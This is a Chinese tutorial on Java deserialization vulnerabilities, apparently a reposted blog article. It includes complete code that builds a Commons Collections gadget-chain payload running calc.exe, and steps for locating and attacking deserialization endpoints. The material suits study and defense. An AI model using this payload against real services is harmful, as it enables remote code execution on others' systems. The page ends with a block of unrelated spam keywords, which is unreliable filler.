JAVA反序列化漏洞淺析

      網友投稿 966 2022-05-29

      目錄

      反序列化漏洞

      序列化和反序列化

      Java WEB中的序列化和反序列化

      對象序列化和反序列范例

      JAVA中執行系統命令

      重寫readObject()方法

      Apache Commons Collections

      反序列化漏洞payload

      JAVA Web反序列化漏洞的挖掘和利用

      由于本人并非JAVA程序員,所以對JAVA方面的知識不是很懂,僅僅是能看懂而已。本文參照幾位大佬的博客進行歸納總結,簡單闡述了JAVA反序列化漏洞的原理以及Payload的構造。

      反序列化漏洞

      JAVA反序列化漏洞到底是如何產生的?

      1、由于很多站點或者RMI倉庫等接口處存在java的反序列化功能,于是攻擊者可以通過構造特定的惡意對象序列化后的流,讓目標反序列化,從而達到自己的惡意預期行為,包括命令執行,甚至 getshell 等等。

      2、Apache Commons Collections是開源小組Apache研發的一個 Collections 收集器框架。這個框架中有一個InvokerTransformer.java接口,實現該接口的類可以通過調用java的反射機制來調用任意函數,于是我們可以通過調用Runtime.getRuntime.exec() 函數來執行系統命令。Apache?commons?collections包的廣泛使用,也導致了java反序列化漏洞的大面積流行。

      所以最終結果就是如果Java應用對用戶的輸入做了反序列化處理,那么攻擊者可以通過構造惡意輸入,讓反序列化過程執行我們自定義的命令,從而實現遠程任意代碼執行。

      在說反序列化漏洞原理之前我們先來說說JAVA對象的序列化和反序列化

      序列化和反序列化

      序列化 (Serialization):將對象的狀態信息轉換為可以存儲或傳輸的形式的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區。

      反序列化:從存儲區中讀取該數據,并將其還原為對象的過程,稱為反序列化。

      簡單的說,序列化和反序列化就是:

      把對象轉換為字節序列的過程稱為對象的序列化

      把字節序列恢復為對象的過程稱為對象的反序列化

      對象序列化的用途:

      把對象的字節序列永久地保存到硬盤上,通常存放在一個文件中

      在網絡上傳送對象的字節序列

      當兩個進程在進行遠程通信時,彼此可以發送各種類型的數據。無論是何種類型的數據,最終都會以二進制的形式在網絡上傳送。發送方需要把這個Java對象序列化;接收方收到數據后把數據反序列化為Java對象。

      通常,對象實例的所有字段都會被序列化,這意味著數據會被表示為實例的序列化數據。這樣,能夠解釋該格式的代碼就能夠確定這些數據的值,而不依賴于該成員的可訪問性。類似地,反序列化從序列化的表示形式中提取數據,并直接設置對象狀態。

      對于任何可能包含重要的安全性數據的對象,如果可能,應該使該對象不可序列化。如果它必須為可序列化的,請嘗試生成特定字段來保存重要數據。如果無法實現這一點,則應注意該數據會被公開給任何擁有序列化權限的代碼,并確保不讓任何惡意代碼獲得該權限。

      在很多應用中,需要對某些對象進行序列化,讓它們離開內存空間,入住物理硬盤,以便長期保存。比如最常見的是Web服務器中的Session對象,當有 10萬用戶并發訪問,就有可能出現10萬個Session對象,內存可能吃不消,于是Web容器就會把一些seesion先序列化到硬盤中,等要用了,再把保存在硬盤中的對象還原到內存中。

      JAVA WEB中的序列化和反序列化

      java.io.ObjectOutputStream 代表對象輸出流,它的 writeObject() 方法可對參數指定的對象進行序列化,把得到的字節序列寫到一個目標輸出流中

      java.io.ObjectInputStream 代表對象輸入流,它的 readObject() 方法從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,并將其返回

      只有實現了 Serializable 和 Externalizable 接口的類的對象才能被序列化和反序列化。Externalizable 接口繼承自 Serializable 接口,實現 Externalizable 接口的類完全由自身來控制反序列化的行為,而實現 Serializable 接口的類既可以采用默認的反序列化方式,也可以自定義反序列化方式。

      對象序列化包括如下步驟:

      創建一個對象輸出流,它可以包裝一個其他類型的目標輸出流,如文件輸出流

      通過對象輸出流的 writeObject() 方法將對象進行序列化

      對象反序列化的步驟如下:

      創建一個對象輸入流,它可以包裝一個其他類型的源輸入流,如文件輸入流

      通過對象輸入流的 readObject() 方法將字節序列反序列化為對象

      對象序列化和反序列范例

      定義一個User類,實現Serializable接口

      import java.io.IOException; import java.io.Serializable; public class User implements Serializable{ private String name; public String getName(){ return name; } public void setName(String name){ this.name=name; } }

      定義主類,對User對象進行序列化和反序列化

      import java.io.*; public class Main { public static void main(String[] args) { Main m = new Main(); try{ m.run(); //序列化 m.run2(); //反序列化 } catch (IOException |ClassNotFoundException e) { e.printStackTrace(); } } public void run() throws IOException{ FileOutputStream out = new FileOutputStream("test.txt"); //實例化一個文件輸出流 ObjectOutputStream obj_out=new ObjectOutputStream(out); //實例化一個對象輸出流 User u = new User(); u.setName("謝公子"); obj_out.writeObject(u); //利用writeObject方法將序列化對象存儲在本地 obj_out.close(); System.out.println("User對象序列化成功!"); } public void run2() throws IOException, ClassNotFoundException { FileInputStream in = new FileInputStream("test.txt"); //實例化一個文件輸入流 ObjectInputStream ins = new ObjectInputStream(in); //實例化一個對象輸入流 User u = (User)ins.readObject(); //利用readObject方法將序列化對象轉為對象 System.out.println("User對象反序列化成功!"); System.out.println(u.getName()); ins.close(); } }

      運行結果

      同時,會在當前文件夾生成一個 test.txt 用來存儲序列化的對象,內容如下:

      JAVA中執行系統命令

      我們先來看看JAVA中執行系統命令的方法,通過執行Runtime.getRuntime().exec()函數執行 calc.exe?命令

      import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.nio.charset.Charset; public class Main { public static void main(String[] args) throws IOException, InterruptedException { Process p = Runtime.getRuntime().exec("calc.exe"); java.io.InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //設置讀取的時候的編碼為GBK p.waitFor(); if(p.exitValue()!=0){ //說明命令執行失敗 }else{ String s = null; while((s=reader.readLine())!=null){ System.out.println(s); } } } }

      運行結果

      重寫readObject()方法

      我們上面說到了可以通過重寫 readObject() 方法來自定義類的反序列化方式。所以,我們將User類的 readObject() 進行重寫

      import java.io.*; public class User2 implements Serializable{ private String name; public String getName(){ return name; } public void setName(String name){ this.name=name; } private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException { //先調用默認的readObject()方法 in.defaultReadObject(); //重寫,執行系統命令calc.exe Process p = Runtime.getRuntime().exec("calc.exe"); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); p.waitFor(); if(p.exitValue()!=0){ //說明執行系統命令失敗 } String s = null; while((s=reader.readLine())!=null){ System.out.println(s); } } }

      主類中的代碼不變,我們再來執行序列化和反序列化過程。可以看到,除了執行了對象的序列化和反序列化之外,還執行了我們自定義的系統命令的代碼。

      Apache Commons Collections

      項目地址:Collections – Download Apache Commons Collections

      JAVA反序列化漏洞淺析

      Apache Commons Collections?是一個擴展了Java標準庫里集合類Collection結構的第三方基礎庫,它提供了很多強有力的數據結構類型并且實現了各種集合工具類。作為Apache開源項目的重要組件,Commons Collections被廣泛應用于各種Java應用的開發。

      Commons Collections?實現了一個TransformedMap類,該類是對Java標準數據結構Map接口的一個擴展。該類可以在一個元素被加入到集合內時,自動對該元素進行特定的修飾變換,具體的變換邏輯由Transformer類定義,Transformer在TransformedMap實例化時作為參數傳入。

      我們可以通過TransformedMap.decorate()方法,獲得一個TransformedMap的實例。如下代碼是TransformedMap.decorate()方法

      public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }

      Transformer是一個接口,其中定義的transform()函數用來將一個對象轉換成另一個對象。如下所示

      public interface Transformer { public Object transform(Object input); }

      當TransformedMap中的任意項的Key或者Value被修改,相應的Transformer的transform()方法就會被調用。除此以外,多個Transformer還能串起來,形成ChainedTransformer。

      Apache Commons Collections中已經實現了一些常見的?Transformer,其中的?InvokerTransformer?接口實現了反射鏈,可以通過Java的反射機制來執行任意命令。于是我們可以通過InvokerTransformer的反射鏈獲得Runtime類來執行系統命令

      傳送門——>?InvokerTransformer反射鏈

      在上面的 InvokerTransformer反射鏈 這篇文章中我已經介紹了如何通過修改Value值來觸發執行反射鏈來執行任意命令。

      但是目前的構造還需要依賴于修改Map中的Value值去觸發調用反射鏈,我們需要想辦法通過readObject()直接觸發。

      如果某個可序列化的類重寫了readObject()方法,并且在readObject()中對Map類型的變量進行了鍵值修改操作,并且這個Map參數是可控的,就可以實現我們的攻擊目標了。

      于是,我們找到了這個類:AnnotationInvocationHandler ,這個類有一個成員變量?memberValues?是Map類型,并且在重寫的 readObject() 方法中有 memberValue.setValue()?修改Value的操作。簡直是完美!

      于是我們可以實例化一個AnnotationInvocationHandler類,將其成員變量memberValues賦值為精心構造的惡意TransformedMap對象。然后將其序列化,提交給未做安全檢查的Java應用。Java應用在進行反序列化操作時,執行了readObject()函數,修改了Map的Value,則會觸發TransformedMap的變換函數transform(),再通過反射鏈調用了Runtime.getRuntime.exec("XXX")?命令,最終就可以執行我們的任意代碼了,一切是那么的天衣無縫!

      反序列化漏洞payload

      反序列化時會執行對象的readObject()方法

      Runtime.getRuntime.exec(“xx”)可以執行系統命令

      InvokerTransformer的transform()方法可以通過反射鏈調用Runtime.getRuntime.exec(“xx”)函數來執行系統命令

      TransformedMap類的decorate方法用來實例化一個TransformedMap對象,即public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) ,第二個和第三個參數傳入一個Transformer,當key值和Value值改變時,會調用Transformer的transformer()方法。于是我們可以將第三個參數傳入 InvokerTransformer

      Payload構造思路:我們構造惡意的類:AnnotationInvocationHandler,將該類的成員變量memberValues賦值為我們精心構造的TransformedMap對象,并將AnnotationInvocationHandler類進行序列化,然后交給JAVA WEB應用進行反序列化。再進行反序列化時,會執行readObject()方法,該方法會對成員變量TransformedMap的Value值進行修改,該修改觸發了TransformedMap實例化時傳入的參數InvokerTransformer的transform()方法,InvokerTransformer.transform()方法通過反射鏈調用Runtime.getRuntime.exec(“xx”)函數來執行系統命令

      如下代碼,我們通過構造惡意的類AnnotationInvocationHandler并將其序列化保存在?payload.bin文件中,只要將它給存在反序列化漏洞的JAVA WEB?應用進行反序列化就能執行我們的命令了。

      import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import java.util.Map.Entry; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class main2 { public static void main(String[] args) throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); //實例化一個反射鏈 Map innerMap = new HashMap(); //實例化一個Map對象 innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //將Map對象和反射鏈作為參數傳入 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //得到 AnnotationInvocationHandler類的字節碼文件 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); //得到我們構造好的 AnnotationInvocationHandler類實例 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream out = new ObjectOutputStream(f); //創建一個對象輸出流 out.writeObject(instance); //將我們構造的 AnnotationInvocationHandler類進行序列化 out.flush(); out.close(); } }

      JAVA Web反序列化漏洞的挖掘和利用

      1:漏洞觸發場景

      在java編寫的web應用與web服務器間通常會發送大量的序列化對象例如以下場景:

      HTTP請求中的參數,cookies以及Parameters。

      RMI協議,被廣泛使用的RMI協議完全基于序列化

      JMX 同樣用于處理序列化對象

      自定義協議 用來接收與發送原始的java對象

      2:漏洞挖掘

      (1)確定反序列化輸入點

      首先應找出readObject方法調用,在找到之后進行下一步的注入操作。一般可以通過以下方法進行查找:

      1)源碼審計:尋找可以利用的“靶點”,即確定調用反序列化函數readObject的調用地點。

      2)對該應用進行網絡行為抓包,尋找序列化數據,java序列化的數據一般會以標記(ac ed 00 05)開頭,base64編碼后的特征為rO0AB。

      (2)再考察應用的Class Path中是否包含Apache Commons Collections庫

      (3)生成反序列化的payload

      (4)提交我們的payload數據

      如果想跟我一起討論的話,就快加入我的知識星球吧。星球里有一千多位同樣愛好安全技術的小伙伴一起交流!

      相關文章:JAVA反序列化漏洞復現

      參考文章:Java反序列化漏洞從無到有

      Lib之過?Java反序列化漏洞通用利用分析

      Java反序列化漏洞分析

      Commons Collections Java反序列化漏洞深入分析

      Java 彈性文件服務

      版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。

      上一篇:Redis入門教程(一)
      下一篇:【AM335x新品發布】 TI Sitara系列TL335x-EVM-S評估板,你知多少?
      相關文章
      亚洲国产综合精品中文字幕| 67194在线午夜亚洲| 亚洲国产精品无码第一区二区三区| 亚洲精品亚洲人成在线观看麻豆| 亚洲精品乱码久久久久久久久久久久| 国产精品V亚洲精品V日韩精品| 亚洲国产精品无码久久98 | 久久99国产亚洲高清观看首页| 91麻豆国产自产在线观看亚洲| 国产日韩成人亚洲丁香婷婷| 久久精品亚洲福利| 亚洲欧洲精品久久| 亚洲av乱码一区二区三区| 久久久久久久综合日本亚洲 | 久久久久亚洲av无码专区喷水| 国产L精品国产亚洲区久久| 亚洲日本在线观看视频| 亚洲日韩在线观看| 超清首页国产亚洲丝袜| 亚洲日本va在线视频观看| 亚洲日韩欧洲无码av夜夜摸| 亚洲人成人77777网站| 国产亚洲精品国产| 亚洲精品成人av在线| 亚洲色大成网站www永久| 亚洲成a人片77777群色| 四虎亚洲精品高清在线观看| 亚洲日韩AV一区二区三区四区| 亚洲人成色4444在线观看| 激情小说亚洲色图| 国产精品亚洲精品日韩已方| 亚洲线精品一区二区三区影音先锋| 亚洲区小说区激情区图片区| 亚洲今日精彩视频| 国产成人精品日本亚洲11| 亚洲av最新在线观看网址| 亚洲欧洲国产成人综合在线观看| 亚洲情综合五月天| 18gay台湾男同亚洲男同| 亚洲国产最大av| 色偷偷亚洲第一综合|